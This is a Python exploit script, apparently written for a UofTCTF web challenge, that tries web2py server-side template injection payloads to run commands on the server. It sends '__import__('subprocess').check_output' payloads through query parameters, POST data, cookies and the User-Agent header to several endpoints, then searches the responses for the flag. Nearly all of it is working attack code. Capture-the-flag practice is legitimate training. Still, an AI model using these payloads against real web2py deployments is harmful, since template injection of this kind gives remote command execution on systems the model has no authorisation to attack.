#!/usr/bin/env python3
"""
Simple string search for flag + test generic views
"""

import requests
import urllib3

urllib3.disable_warnings()

BASE_URL = "https://vulnerability-research-dbfd88d4dab49dc2.chals.uoftctf.org"

def test_generic_views():
    """Try to trigger generic views that render response._vars"""
    
    # According to web2py docs, generic views can be accessed with extensions
    payloads_and_endpoints = [
        # Try .json extension (might render as JSON)
        ("/welcome/default/index.json", "{{=__import__('subprocess').check_output(['/readflag']).decode()}}"),
        
        # Try .xml extension
        ("/welcome/default/index.xml", "{{=__import__('subprocess').check_output(['/readflag']).decode()}}"),
        
        # Try .html extension explicitly
        ("/welcome/default/index.html", "{{=__import__('subprocess').check_output(['/readflag']).decode()}}"),
        
        # Try with no extension but different payload - return dict from controller
        # In web2py, if controller returns dict, it gets rendered in view
        ("/welcome/default/index", "{{return dict(flag=__import__('subprocess').check_output(['/readflag']).decode())}}"),
        
        # Try calling with @request decorator simulation
        ("/welcome/default/index", "{{response._vars=dict(flag=__import__('subprocess').check_output(['/readflag']).decode()); ''}}"),
        
        # Try different controller actions
        ("/welcome/default/user", "{{=__import__('subprocess').check_output(['/readflag']).decode()}}"),
        ("/welcome/default/call/json", "{{=__import__('subprocess').check_output(['/readflag']).decode()}}"),
    ]
    
    for endpoint, payload in payloads_and_endpoints:
        print(f"\n[>] Testing: {endpoint}")
        print(f"    Payload: {payload[:60]}...")
        
        try:
            response = requests.get(
                BASE_URL + endpoint,
                params={"test": payload},
                verify=False,
                timeout=10
            )
            
            print(f"    Status: {response.status_code}, Length: {len(response.text)}")
            
            # Simple string search - no regex
            if "uoftctf" in response.text.lower():
                print("\n" + "="*70)
                print("[!!!] FLAG FOUND!")
                print("="*70)
                
                # Find and extract the flag
                idx = response.text.lower().find("uoftctf")
                flag_start = idx
                flag_end = response.text.find("}", idx) + 1
                flag = response.text[flag_start:flag_end]
                
                print(f"\nFLAG: {flag}\n")
                print(f"Context: ...{response.text[max(0,idx-100):min(len(response.text),idx+200)]}...")
                
                return flag
            
            # Also check response headers
            for header, value in response.headers.items():
                if "uoftctf" in value.lower():
                    print(f"    [!] Flag in header {header}: {value}")
                    return value
                    
        except Exception as e:
            print(f"    Error: {e}")
    
    return None

def test_different_injection_points():
    """Try injecting in different parameters/places"""
    
    print("\n" + "="*70)
    print("Testing Different Injection Points")
    print("="*70)
    
    test_cases = [
        # POST request instead of GET
        ("POST", "/welcome/default/index", {"test": "{{=__import__('subprocess').check_output(['/readflag']).decode()}}"}),
        
        # Multiple parameters
        ("GET", "/welcome/default/index", {
            "test": "{{=__import__('subprocess').check_output(['/readflag']).decode()}}",
            "x": "y"
        }),
        
        # Try in Cookie
        ("GET_COOKIE", "/welcome/default/index", {"test": "{{=__import__('subprocess').check_output(['/readflag']).decode()}}"}),
        
        # Try in User-Agent
        ("GET_UA", "/welcome/default/index", {"test": "{{=__import__('subprocess').check_output(['/readflag']).decode()}}"}),
    ]
    
    for method, endpoint, params in test_cases:
        print(f"\n[>] Method: {method}, Endpoint: {endpoint}")
        
        try:
            if method == "POST":
                response = requests.post(
                    BASE_URL + endpoint,
                    data=params,
                    verify=False,
                    timeout=10
                )
            elif method == "GET_COOKIE":
                response = requests.get(
                    BASE_URL + endpoint,
                    params=params,
                    cookies={"custom": params["test"]},
                    verify=False,
                    timeout=10
                )
            elif method == "GET_UA":
                response = requests.get(
                    BASE_URL + endpoint,
                    params=params,
                    headers={"User-Agent": params["test"]},
                    verify=False,
                    timeout=10
                )
            else:  # GET
                response = requests.get(
                    BASE_URL + endpoint,
                    params=params,
                    verify=False,
                    timeout=10
                )
            
            print(f"    Status: {response.status_code}, Length: {len(response.text)}")
            
            if "uoftctf" in response.text.lower():
                print("\n[!!!] FLAG FOUND!")
                idx = response.text.lower().find("uoftctf")
                flag_start = idx
                flag_end = response.text.find("}", idx) + 1
                flag = response.text[flag_start:flag_end]
                print(f"FLAG: {flag}\n")
                return flag
                
        except Exception as e:
            print(f"    Error: {e}")
    
    return None

if __name__ == "__main__":
    print("[*] Testing generic views and different endpoints...")
    flag = test_generic_views()
    
    if not flag:
        flag = test_different_injection_points()
    
    if not flag:
        print("\n[*] No flag found. May need to analyze web2py source code.")
        print("[*] Consider: git clone --recursive https://github.com/web2py/web2py.git")
